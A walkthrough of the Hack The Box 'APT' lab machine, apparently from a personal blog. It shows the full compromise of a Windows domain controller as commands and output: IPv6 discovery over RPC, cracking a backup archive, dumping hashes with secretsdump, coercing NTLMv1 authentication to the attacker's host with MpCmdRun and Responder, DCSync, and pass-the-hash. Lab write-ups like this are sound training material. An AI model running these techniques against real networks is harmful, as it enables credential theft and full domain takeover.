about blog contact documentation experience
Hack The Box (HTB) Labs: APT

Overview

APT is an Insane-rated Windows machine built around an Active Directory domain controller. What makes it unusual is how little is exposed over IPv4. A full port scan returns only two open ports: HTTP and MSRPC. Neither gives away much, and the usual SMB, LDAP, and Kerberos services appear to be missing.

The reason becomes clear once you look beyond IPv4. The machine is also reachable over IPv6, where the rest of the domain controller's services are exposed.

My initial foothold came from an unauthenticated RPC call that revealed the machine's IPv6 addresses. From there, I found an SMB share containing a password-protected backup of the Active Directory database. Cracking the archive gave me access to the database and its supporting registry hives, which I used to extract domain hashes.

That was only part of the way in. After identifying the few accounts that were still active, I found another set of credentials in the remote registry. Those credentials provided a low-privileged WinRM session. From there, I traced a change to the machine's NTLM compatibility settings, coerced an NTLMv1 authentication from the domain controller, and recovered the machine account's hash. Since that account had the rights needed for directory replication, I was able to DCSync the domain and obtain the Administrator hash.

Enumeration

Nmap

I started with a full TCP port scan against 10.10.10.171. I used -p- to cover all ports, -sC and -sV for default scripts and service detection, and -oA to save the results in all three output formats.

nmap -sCV -n -p- -Pn -oA apt 10.10.10.171

PORT    STATE SERVICE VERSION
80/tcp  open  http    Microsoft IIS httpd 10.0
|_http-title: Gigantic Hosting | Home
135/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Only ports 80 and 135 were responding. That is a fairly unusual result for a Windows domain controller. There was no SMB, LDAP, or Kerberos exposed over the address I had been given.

I checked the web server first, but it did not offer much.

Port 80 – HTTP

The website was a static marketing page for a hosting company. I found a contact address, sales@gigantichosting.com, and a comment left by HTTrack that revealed where the site had originally been mirrored from:

<!-- Mirrored from 10.12.44.9/ by HTTrack Website Copier/3.x [XR&CO'2014], Mon, 23 Dec 2019 08:12:54 GMT -->

The /support form also redirected to that internal address. I could not reach or ping it, so there was little reason to spend more time on the web application.

Port 135 was the more interesting lead.

Port 135 – RPC and IPv6 discovery

My first attempt was to connect to the RPC service directly over IPv4:

rpcclient -I 10.10.10.171 -U "" -N -p 135

Cannot connect to server. Error was NT_STATUS_CONNECTION_DISCONNECTED

Rather than treating that as a dead end, I looked at what information the RPC interfaces might expose without authentication.

One useful interface is the OXID resolver. Its IObjectExporter::ServerAlive2 method can return the network bindings associated with a host. That includes interface addresses that may not be apparent from the address used to establish the RPC connection.

I adapted a small Impacket script to call the method against the target:

from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.dcomrt import IObjectExporter

target_ip = "10.10.10.171"
stringBinding = r'ncacn_ip_tcp:%s' % target_ip

rpctransport = transport.DCERPCTransportFactory(stringBinding)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()

bindings = IObjectExporter(portmap).ServerAlive2()
print("[*] Interfaces on " + target_ip)
for binding in bindings:
    print("Address: " + binding['aNetworkAddr'])

The response included the hostname, the IPv4 address, and two IPv6 addresses:

[*] Interfaces on 10.10.10.171
Address: apt
Address: 10.10.10.171
Address: dead:beef::2c9f:a471:e3b8:1d04
Address: dead:beef::9f21:7c6a:5d13:884e

The dead:beef:: prefix is familiar from HTB's IPv6-enabled machines, so I tested one of the addresses:

ping -c 2 -6 dead:beef::2c9f:a471:e3b8:1d04

64 bytes from dead:beef::2c9f:a471:e3b8:1d04: icmp_seq=1 ttl=63 time=66.9 ms
64 bytes from dead:beef::2c9f:a471:e3b8:1d04: icmp_seq=2 ttl=63 time=65.4 ms

The address was alive. More importantly, RPC was now accessible through it. Most of the LSA and SAM queries still returned ACCESS_DENIED, but srvinfo confirmed the hostname and Windows version:

rpcclient -I dead:beef::2c9f:a471:e3b8:1d04 -U "" -N

rpcclient $> srvinfo
        APT.HTB        Wk Sv PDC Tim NT
        platform_id     :       500
        os version      :       10.0

At this point, I had a second address to investigate. I rescanned it rather than assuming the exposed services would be the same as IPv4.

Nmap over IPv6

The IPv6 scan revealed an entirely different attack surface:

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos
135/tcp   open  msrpc        Microsoft Windows RPC
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 (workgroup: HTB)
636/tcp   open  ssl/ldap     Microsoft Windows Active Directory LDAP
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp  open  mc-nmf       .NET Message Framing

This was clearly the domain controller's real service surface. SMB, LDAP, Kerberos, and WinRM were all available over IPv6.

I used enum4linux-ng to help with enumeration and worked out how to pass the IPv6 address to smbclient. An anonymous share listing revealed a share named backup:

smbclient -t 5 -W htb -U % -L //dead:beef::2c9f:a471:e3b8:1d04

Sharename       Type      Comment
---------       ----      -------
backup          Disk
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
SYSVOL          Disk      Logon server share

The backup share was not a standard domain share, so I took a closer look. It contained a single archive:

smbclient -t 5 -W htb -U % //dead:beef::2c9f:a471:e3b8:1d04/backup

smb: \> dir
  backup.zip                          A 10650961  Thu Sep 24 03:30:32 2020
smb: \> get backup.zip

Extracting the Active Directory backup

After downloading the archive, I tried extracting it. The archive was password-protected, but its directory structure was still visible:

unzip backup.zip

skipping: Active Directory/ntds.dit  incorrect password
skipping: registry/SYSTEM            incorrect password

The important detail was that the filenames and directory entries were not encrypted. That meant I could use zip2john to extract the archive's password hash without first knowing the password.

zip2john backup.zip > backup.hash
john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash

John recovered the password almost immediately:

iloveyousomuch   (backup.zip)
1g 0:00:00:00 DONE

The extracted files included ntds.dit, ntds.jfm, and the SYSTEM and SECURITY registry hives. With those files available, I could extract the domain's password hashes offline.

I used Impacket's secretsdump.py:

secretsdump.py -ntds 'Active Directory/ntds.dit' \
    -system registry/SYSTEM \
    -security registry/SECURITY LOCAL

The tool successfully decrypted the database:

[*] Target system bootKey: 0x936ce5da88593206567f650411e1d16b
[*] Reading and decrypting hashes from Active Directory
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72791983d95870c0d6dd999e4389b211:::
APT$:1000:aad3b435b51404eeaad3b435b51404ee:b300272f1cdab4469660d55fe59415cb:::
...snipped ~2000 accounts...

The dump contained roughly 2,000 accounts. Most were likely stale, and trying to use all of them would have been a waste of time. I needed to narrow the list down to accounts that still existed in the domain.

I extracted the usernames and used Kerbrute to enumerate them:

kerbrute userenum --dc apt.htb.local -d htb users

[+] VALID USERNAME: Administrator@htb
[+] VALID USERNAME: APT$@htb
[+] VALID USERNAME: henry.vinson@htb
Done! Tested 2004 usernames (3 valid)

Only three accounts were still valid: Administrator, the machine account APT$, and henry.vinson. The human account was the most promising place to start.

Finding usable credentials

I extracted the NT hashes from the database and tested them against the valid usernames by requesting Kerberos TGTs. This let me determine which hash belonged to henry.vinson.

One detail worth checking before doing this is clock synchronization. Kerberos is sensitive to time differences, and I initially needed to synchronize my clock with the domain controller to avoid KRB_AP_ERR_SKEW. Running net time -S apt.htb.local and adjusting the local clock resolved that.

Once I had the correct hash, I tried using it for remote execution. That did not get me very far. psexec, wmiexec, smbexec, and dcomexec all returned access-denied errors, and none of the available shares were writable.

The account did, however, have permission to read the remote registry. That gave me another place to look for credentials. I used Impacket's reg.py to enumerate it:

reg.py -dc-ip apt.htb.local \
    -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb \
    apt.htb.local query -keyName HKU -s

Among the results was a key belonging to a custom application:

\Software\GiganticHostingManagementSystem\
        UserName        REG_SZ   henry.vinson_adm
        PassWord        REG_SZ   G1#Ny5@2dvht

The application had stored another account's credentials directly in the registry, including the password in cleartext. This gave me a new set of credentials to test.

Initial foothold

The credentials worked over WinRM:

evil-winrm -u henry.vinson_adm -p 'G1#Ny5@2dvht' -i apt.htb.local

I checked the account's groups and privileges:

whoami /all

User Name            SID
===================  ===============================================
htb\henry.vinson_adm S-1-5-21-2993095098-2100462451-206186470-1106

Group Name                        Type
================================= =====
BUILTIN\Remote Management Users   Alias
BUILTIN\Users                     Alias

This was a working shell, but the account was still fairly restricted. It had no particularly useful group memberships or privileges. The user flag was available on the desktop:

type user.txt

7f2a9c41db0e5368a1c4ff7729bd0e14

With the initial foothold established, I moved on to local enumeration.

Path to Administrator

Local enumeration

The executable versions of winPEAS would not run, and systeminfo was blocked. I switched to checking the filesystem and configuration manually. One of the first places I checked was C:\Windows\Panther\unattend.xml.

Unattended installation files can contain credentials left behind during deployment. In this case, the Administrator password had been removed, but the file still contained an encoded PowerShell command:

<AutoLogon>
   <Username>Administrator</Username>
   <Password>*SENSITIVE*DATA*DELETED*</Password>
</AutoLogon>
...
<CommandLine>powershell -enc KABHAGUAdAAtAE4AZQB0AEEAZABhAHAAdAB0AG...</CommandLine>

I decoded the PowerShell command to see what it did:

(Get-NetAdapter | Disable-NetAdapterBinding -ComponentID ms_tcpip6 -confirm:$false)

It disabled IPv6 on the network adapter. That was an interesting discovery given that IPv6 had been the way into the machine in the first place, but it did not directly provide a privilege escalation path.

The PowerShell history was more useful. It showed that the administrator had previously changed a security setting:

$Cred = get-credential administrator
invoke-command -credential $Cred -computername localhost -scriptblock {
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
        lmcompatibilitylevel -Type DWORD -Value 2 -Force }

The setting was LmCompatibilityLevel, and it had been explicitly changed to 2.

Coercing an NTLMv1 response

LmCompatibilityLevel controls the authentication protocols Windows uses for outgoing NTLM responses. A value of 2 allows the machine to use NTLMv1.

That matters because NTLMv1 relies on DES-based cryptography and can be attacked using precomputed rainbow tables. Rather than trying to crack the machine account's long, randomly generated password directly, I could try to make the domain controller authenticate to a machine I controlled, capture the response, and recover its underlying NT hash.

I started Responder with the challenge format needed for the cracking process:

sudo responder -I tun0 --lm

The next problem was getting the machine to authenticate outward. The henry.vinson_adm account could not access the usual coercion surfaces, so I looked for functionality already available on the host.

Windows Defender's MpCmdRun.exe can be used to scan a file or directory. Supplying a UNC path causes the machine to attempt an SMB connection to that location, and that connection was enough to trigger an authentication attempt using the machine account. The executable was available under the Defender platform directory:

./MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.36\test

The scan failed, but that was not important. The SMB connection had already been attempted, and Responder captured the authentication:

[SMB] NTLMv1 Client   : dead:beef::2c9f:a471:e3b8:1d04
[SMB] NTLMv1 Username : HTB\APT$
[SMB] NTLMv1 Hash     : APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788

The captured identity was HTB\APT$, the domain controller's machine account.

Since the password itself was not realistically guessable, I reformatted the captured response and submitted it to crack.sh, which uses DES rainbow tables for this type of NTLMv1 response. The recovered NT hash was:

NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384

Key: d167c3238864b12f5f82feae86a7f798

The process took roughly thirty seconds. I now had the machine account's NT hash.

From the machine account to Domain Administrator

The final step was using the recovered machine account credentials to perform directory replication.

The APT$ account had the required replication privileges, which meant I could use DCSync to retrieve the current domain hashes directly from the domain controller. This was preferable to relying on the old backup, which contained thousands of accounts and potentially outdated credentials.

I used secretsdump.py with -just-dc:

secretsdump.py \
    -hashes aad3b435b51404eeaad3b435b51404ee:d167c3238864b12f5f82feae86a7f798 \
    -just-dc HTB/APT\$@apt.htb.local

The DRSUAPI method returned the current hashes:

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:738f00ed06dc528fd7ebb7a010e50849:::
henry.vinson_adm:1106:aad3b435b51404eeaad3b435b51404ee:4cd0db9103ee1cf87834760a34856fef:::

I now had the current Administrator NT hash. There was no need to crack it; I could authenticate with it directly using pass-the-hash.

evil-winrm -u Administrator \
    -H c370bddf384a691d811ff3495e8a72e2 \
    -i apt.htb.local

After connecting, I verified the account's privileges:

whoami /all

htb\administrator

HTB\Domain Admins
HTB\Enterprise Admins
HTB\Schema Admins

The account had membership in Domain Admins, Enterprise Admins, and Schema Admins. That confirmed full domain compromise. One small detail when using Evil-WinRM: the NT hash must be supplied with -H, not -p.

The root flag was on the Administrator desktop:

type root.txt

c81d4e6b55210aa903fb28c6e4d9b7a2

Final thoughts

APT was difficult because the important details were spread across several parts of the machine. The initial IPv4 scan made the host look almost empty, but the RPC interface exposed the IPv6 addresses that led to the actual domain controller services. The backup share then provided an offline copy of Active Directory, while the remote registry revealed credentials that were not available anywhere obvious on the filesystem.

The final escalation was a separate chain. A previous administrator had lowered the machine's NTLM compatibility setting, making it possible to capture and crack an NTLMv1 response. The recovered machine account hash was enough to perform DCSync and retrieve the Administrator credentials.

None of these techniques is particularly obscure on its own. What makes APT interesting is having to recognize where each clue leads and how the pieces fit together. The IPv6 exposure, the poorly protected backup, the credentials stored in the registry, and the NTLMv1 configuration all contribute to the final compromise.

The biggest takeaway for me was not to treat an unusually small scan result as proof that the attack surface is small. In this case, the services were there all along; I was simply looking at the wrong network stack.

← Back to Documentation